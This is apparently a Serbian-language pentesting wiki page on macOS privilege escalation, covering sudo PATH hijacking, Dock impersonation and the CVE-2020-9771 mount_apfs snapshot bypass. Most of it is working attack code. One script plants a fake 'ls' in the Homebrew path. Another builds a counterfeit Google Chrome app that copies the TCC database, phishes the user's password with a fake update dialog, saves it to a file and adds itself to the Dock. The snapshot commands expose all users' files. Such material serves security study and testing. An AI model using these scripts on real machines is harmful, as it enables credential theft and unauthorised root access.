macOS Privilege Escalation

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TCC Privilege Escalation

Ako ste došli ovde tražeći TCC eskalaciju privilegija, idite na:

macOS TCC

Linux Privesc

Imajte na umu da većina trikova o eskalaciji privilegija koji utiču na Linux/Unix će takođe uticati na MacOS mašine. Tako da pogledajte:

Linux Privilege Escalation

User Interaction

Sudo Hijacking

Možete pronaći originalnu Sudo Hijacking tehniku unutar posta o Linux eskalaciji privilegija.

Međutim, macOS održava korisnikov PATH kada izvršava sudo. Što znači da bi drugi način da se postigne ovaj napad bio da se otmu drugi binarni fajlovi koje žrtva i dalje izvršava kada pokreće sudo:

bash
# Let's hijack ls in /opt/homebrew/bin, as this is usually already in the users PATH
cat > /opt/homebrew/bin/ls <<EOF
#!/bin/bash
if [ "\$(id -u)" -eq 0 ]; then
whoami > /tmp/privesc
fi
/bin/ls "\$@"
EOF
chmod +x /opt/homebrew/bin/ls

# victim
sudo ls

Napomena da korisnik koji koristi terminal verovatno ima Homebrew instaliran. Tako da je moguće preuzeti binarne datoteke u /opt/homebrew/bin.

Imitacija Dock-a

Korišćenjem nekih socijalnih inženjeringa mogli biste imitirati, na primer, Google Chrome unutar dock-a i zapravo izvršiti svoj skript:

Neki predlozi:

  • Proverite u Dock-u da li postoji Chrome, i u tom slučaju uklonite tu stavku i dodajte lažnu Chrome stavku na istu poziciju u Dock nizu.
bash
#!/bin/sh

# THIS REQUIRES GOOGLE CHROME TO BE INSTALLED (TO COPY THE ICON)
# If you want to removed granted TCC permissions: > delete from access where client LIKE '%Chrome%';

rm -rf /tmp/Google\ Chrome.app/ 2>/dev/null

# Create App structure
mkdir -p /tmp/Google\ Chrome.app/Contents/MacOS
mkdir -p /tmp/Google\ Chrome.app/Contents/Resources

# Payload to execute
cat > /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
char *cmd = "open /Applications/Google\\\\ Chrome.app & "
"sleep 2; "
"osascript -e 'tell application \"Finder\"' -e 'set homeFolder to path to home folder as string' -e 'set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias' -e 'set targetFolder to POSIX file \"/tmp\" as alias' -e 'duplicate file sourceFile to targetFolder with replacing' -e 'end tell'; "
"PASSWORD=\$(osascript -e 'Tell application \"Finder\"' -e 'Activate' -e 'set userPassword to text returned of (display dialog \"Enter your password to update Google Chrome:\" default answer \"\" with hidden answer buttons {\"OK\"} default button 1 with icon file \"Applications:Google Chrome.app:Contents:Resources:app.icns\")' -e 'end tell' -e 'return userPassword'); "
"echo \$PASSWORD > /tmp/passwd.txt";
system(cmd);
return 0;
}
EOF

gcc /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome.c -o /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome
rm -rf /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome.c

chmod +x /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome

# Info.plist
cat << EOF > /tmp/Google\ Chrome.app/Contents/Info.plist
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleExecutable</key>
<string>Google Chrome</string>
<key>CFBundleIdentifier</key>
<string>com.google.Chrome</string>
<key>CFBundleName</key>
<string>Google Chrome</string>
<key>CFBundleVersion</key>
<string>1.0</string>
<key>CFBundleShortVersionString</key>
<string>1.0</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundlePackageType</key>
<string>APPL</string>
<key>CFBundleIconFile</key>
<string>app</string>
</dict>
</plist>
EOF

# Copy icon from Google Chrome
cp /Applications/Google\ Chrome.app/Contents/Resources/app.icns /tmp/Google\ Chrome.app/Contents/Resources/app.icns

# Add to Dock
defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</key><dict><key>file-data</key><dict><key>_CFURLString</key><string>/tmp/Google Chrome.app</string><key>_CFURLStringType</key><integer>0</integer></dict></dict></dict>'
sleep 0.1
killall Dock

TCC - Eskalacija privilegija za root

CVE-2020-9771 - mount_apfs TCC zaobilaženje i eskalacija privilegija

Bilo koji korisnik (čak i oni bez privilegija) može kreirati i montirati snapshot vremenske mašine i pristupiti SVIM datotekama tog snapshot-a.
Jedina privilegija koja je potrebna je da aplikacija koja se koristi (kao što je Terminal) ima Pristup celom disku (FDA) (kTCCServiceSystemPolicyAllfiles) koji mora odobriti administrator.

bash
# Create snapshot
tmutil localsnapshot

# List snapshots
tmutil listlocalsnapshots /
Snapshots for disk /:
com.apple.TimeMachine.2023-05-29-001751.local

# Generate folder to mount it
cd /tmp # I didn it from this folder
mkdir /tmp/snap

# Mount it, "noowners" will mount the folder so the current user can access everything
/sbin/mount_apfs -o noowners -s com.apple.TimeMachine.2023-05-29-001751.local /System/Volumes/Data /tmp/snap

# Access it
ls /tmp/snap/Users/admin_user # This will work

Detaljnije objašnjenje može se pronaći u originalnom izveštaju.

Osetljive informacije

Ovo može biti korisno za eskalaciju privilegija:

macOS Sensitive Locations & Interesting Daemons

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